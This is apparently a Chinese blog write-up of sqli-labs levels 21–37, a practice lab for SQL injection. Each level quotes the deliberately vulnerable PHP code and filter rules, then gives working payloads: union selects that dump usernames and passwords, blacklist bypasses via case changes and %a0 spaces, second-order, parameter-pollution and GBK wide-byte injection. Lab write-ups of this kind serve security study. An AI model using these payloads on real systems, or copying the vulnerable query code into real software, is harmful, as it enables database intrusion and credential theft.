第二十一关:base64编码的cooki注入

YOUR COOKIE : uname = YWRtaW4= and expires: Tue 10 Mar 2020 - 03:42:09

注:YWRtaW4=是admin经过base64编码。

在uname=后面进行注入,每次注入需要进行base64编码。

payload:

  1. ') union select 1,2,3#
  2. JykgdW5pb24gc2VsZWN0IDEsMiwzIw==

第二十二关:同二十一关,闭合符号改为双引号即可

第二十三关:过滤了注释符的报错注入

  1. $reg = "/#/";
  2. $reg1 = "/--/";
  3. $replace = "";
  4. $id = preg_replace($reg, $replace, $id);
  5. $id = preg_replace($reg1, $replace, $id);
  6. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"

因为注释符被过滤了,id='$id'后面的单引号就需要我们使用一个单引号去闭合。

两种payload:

  1. ?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),'3
    ?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),3 or '1' = '

第二十四关:二次排序注入

首先admin账号的密码为admin,然后注册一个用户名为admin'#,密码123456的账户,再进行登录admin'#账号,最后就可以重新修改admin'#账号的密码为123。会发现admin账号的密码被修改为123了。

  1. $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

账号名admin'#代入sql语句,就会将后面的语句给注释掉。

第二十五关:过滤了or和AND的注入

  1. $id= blacklist($id);
  2. function blacklist($id)
  3. {
  4. $id= preg_replace('/or/i',"", $id);
  5. $id= preg_replace('/AND/i',"", $id);
  6.  
  7. return $id;
  8. }

payload:

  1. ?id=1' || updatexml(1,concat(0x23,database(),0x23),1)--+
  2. ?id=-1' union select 1,(select group_concat(username) from security.users),3--+

第二十五a关:25关的基础上没有单引号,且不能用报错注入而已。

payload:

  1. ?id=-1 union select 1,(select group_concat(username) from security.users),3--+

第二十六关

  1. function blacklist($id)
  2. {
  3. $id= preg_replace('/or/i',"", $id);
  4. $id= preg_replace('/and/i',"", $id);
  5. $id= preg_replace('/[\/\*]/',"", $id);
  6. $id= preg_replace('/[--]/',"", $id);
  7. $id= preg_replace('/[#]/',"", $id);
  8. $id= preg_replace('/[\s]/',"", $id);
  9. $id= preg_replace('/[\/\\\\]/',"", $id);
  10. return $id;
  11. }

在25关的基础上,过滤的更多了。主要是空格的过滤。

%a0代表空格,但是在Windows无法识别%a0,需要在Linux系统下进行。当然,也可以尝试一些其他的符号。

payload:

  1. ?id=100'union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||'1

第二十六a关

闭合的符号变为')而已。

payload:

  1. ?id=100')union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||('1

第二十七关

  1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  2. function blacklist($id)
  3. {
  4. $id= preg_replace('/[\/\*]/',"", $id);
  5. $id= preg_replace('/[--]/',"", $id);
  6. $id= preg_replace('/[#]/',"", $id);
  7. $id= preg_replace('/[ +]/',"", $id);
  8. $id= preg_replace('/select/m',"", $id);
  9. $id= preg_replace('/[ +]/',"", $id);
  10. $id= preg_replace('/union/s',"", $id);
  11. $id= preg_replace('/select/s',"", $id);
  12. $id= preg_replace('/UNION/s',"", $id);
  13. $id= preg_replace('/SELECT/s',"", $id);
  14. $id= preg_replace('/Union/s',"", $id);
  15. $id= preg_replace('/Select/s',"", $id);
  16. return $id;
  17. }

这里采取大小写绕过。

payload:

  1. ?id=100'unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),3||'1

第二十七a关

  1. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  2. function blacklist($id)
  3. {
  4. $id= preg_replace('/[\/\*]/',"", $id);
  5. $id= preg_replace('/[--]/',"", $id);
  6. $id= preg_replace('/[#]/',"", $id);
  7. $id= preg_replace('/[ +]/',"", $id);
  8. $id= preg_replace('/select/m',"", $id);
  9. $id= preg_replace('/[ +]/',"", $id);
  10. $id= preg_replace('/union/s',"", $id);
  11. $id= preg_replace('/select/s',"", $id);
  12. $id= preg_replace('/UNION/s',"", $id);
  13. $id= preg_replace('/SELECT/s',"", $id);
  14. $id= preg_replace('/Union/s',"", $id);
  15. $id= preg_replace('/Select/s',"", $id);
  16. return $id;
  17. }

单引号闭合变为双引号而已。

payload:

  1. ?id=100"unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),"3

第二十八关

  1. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
  2. function blacklist($id)
  3. {
  4. $id= preg_replace('/[\/\*]/',"", $id);
  5. $id= preg_replace('/[--]/',"", $id);
  6. $id= preg_replace('/[#]/',"", $id);
  7. $id= preg_replace('/[ +]/',"", $id);
  8. //$id= preg_replace('/select/m',"", $id);
  9. $id= preg_replace('/[ +]/',"", $id);
  10. $id= preg_replace('/union\s+select/i',"", $id);
  11. return $id;
  12. }

payload:

  1. ?id=100')union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||('1

第二十八a关

  1. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
  2. function blacklist($id)
  3. {
  4. //$id= preg_replace('/[\/\*]/',"", $id);
  5. //$id= preg_replace('/[--]/',"", $id);
  6. //$id= preg_replace('/[#]/',"", $id);
  7. //$id= preg_replace('/[ +]/',"", $id);
  8. //$id= preg_replace('/select/m',"", $id);
  9. //$id= preg_replace('/[ +]/',"", $id);
  10. $id= preg_replace('/union\s+select/i',"", $id);
  11. return $id;
  12. }

payload(绕过union和select的过滤即可):

  1. ?id=100%27)unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),3||(%271

第二十九关

两层服务器架构,攻击手段是HPP(http参数污染)。

第一层是tomcat,第二层是apache,返回数据的服务器是apache。

index.jsp

  1. String rex = "^\\d+$";
  2. Boolean match=id.matches(rex);
  3. if(match == true)
  4. {
  5. URL sqli_labs = new URL("http://localhost/sqli-labs/Less-29/index.php?"+ qs);

index.php

  1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

payload:

  1. ?id=1&id=-2'union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

第三十关:29关的基础上,把单引号变双引号

  1. $id = '"' .$id. '"';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

payload:

  1. ?id=1&id=-2"union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

第三十一关:30关的基础上,多一个括号

  1. $id = '"'.$id.'"';
  2. $sql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";

payload:

  1. ?id=1&id=-2")union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

第三十二关

  1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  2.  
  3. function check_addslashes($string)
  4. {
  5. $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
  6. $string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
  7. $string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
  8.  
  9. return $string;
  10. }

gbk编码,当然首先就想到了宽字节注入。

payload:

  1. ?id=-1%df%27union%20select%201,(select%20group_concat(username,0x3a,password)%20from%20security.users),3--+

第三十三关

  1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  2.  
  3. function check_addslashes($string)
  4. {
  5. $string= addslashes($string);
  6. return $string;
  7. }

payload同32关一样。

注:使用addslashes()函数,我们需要将mysql_query设置为binary的方式,才能防御此漏洞。

Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);

第三十四关

  1. @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

payload:

  1. uname=-1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit

第三十五关

  1. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

payload(不知道这一关要干啥):

  1. ?id=-1 union select 1,user(),database()--+

第三十六关

  1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  2.  
  3. function check_quotes($string)
  4. {
  5. $string= mysql_real_escape_string($string);
  6. return $string;
  7. }

payload:

  1. ?id=-1%EF%BF%BD%27union%20select%201,user(),3--+
  2. ?id=-1%df%27union%20select%201,user(),3--+

注:在使用mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将mysql设置为gbk即可。设置的代码为:Mysql_set_charset('gbk','$conn')

第三十七关:同34关

sqli-labs之Page-2的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  7. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. SQL Server 之T-SQL基本语句 (2)

    接下来继续用上述例子来总结知识点. 用通配符进行过滤 LIKE操作符 //用来选择与条件一样或部分相似的数据 select name from person where name like 'chen ...

  2. 模糊字符串匹配:FuzzyWuzzy

    FuzzyWuzzy 模糊字符串匹配,它使用Levenshtein Distance来计算简单易用的包中序列之间的差异. 前置条件 Python 2.7 or higher difflib pytho ...

  3. 权威的国际敏捷认证Certified Scrum Master (CSM)

    权威的国际敏捷认证Certified Scrum Master (CSM) A. 认证前 在学习Certified Scrum Master (CSM)之前,你需要了解: 什么是CSM CSM认证与其 ...

  4. 头文件<cmath>中常用函数

    <cmath>里面有很多数学函数,下面说一下常用的一些函数吧:直接把函数原型给了出来,用的时候注意参数 先说一下,c++自身是没有四舍五入函数round()的,若果你要用到的话,可以自己写 ...

  5. Scrapy中的crawlspider

    crawlspider 能自动的获取url并提交请求 命令:scrapy genspider -t crawl spidername 'example.cn' 所导入的模块 # -*- coding: ...

  6. Linux安全实验缓冲区溢出

    缓冲区溢出实验: 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关 ...

  7. QIntValidator没有最小值的限制,继承然后写个新类来控制最小值

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明.本文链接:https://blog.csdn.net/firecityplans/article ...

  8. PL/SQL登录Oracle18数据库:ORA-12154:TNS无法解析指定的连接标识符

    PL/SQL登录Oracle18数据库出现ORA-12154:TNS无法解析指定的连接标识符解决以下问题:首先更改Oracle客户端的tnsnames.ora,我的路径是:D:\OracleSQL\n ...

  9. element-ui 通用表单封装及VUE JSX应用

    一.存在及需要解决的问题 一般在做后台OA的时候会发现表单重复代码比较多,且逻辑基本一样,每次新加一个表单都需要拷贝基本一致的代码结构,然后只是简单地修改对应的字段进行开发 二.预期结果 提取重复的表 ...

  10. Waiting for another flutter command to release the startup lock...

    2019独角兽企业重金招聘Python工程师标准>>> rm ./flutter/bin/cache/lockfile info from 转载于:https://my.oschin ...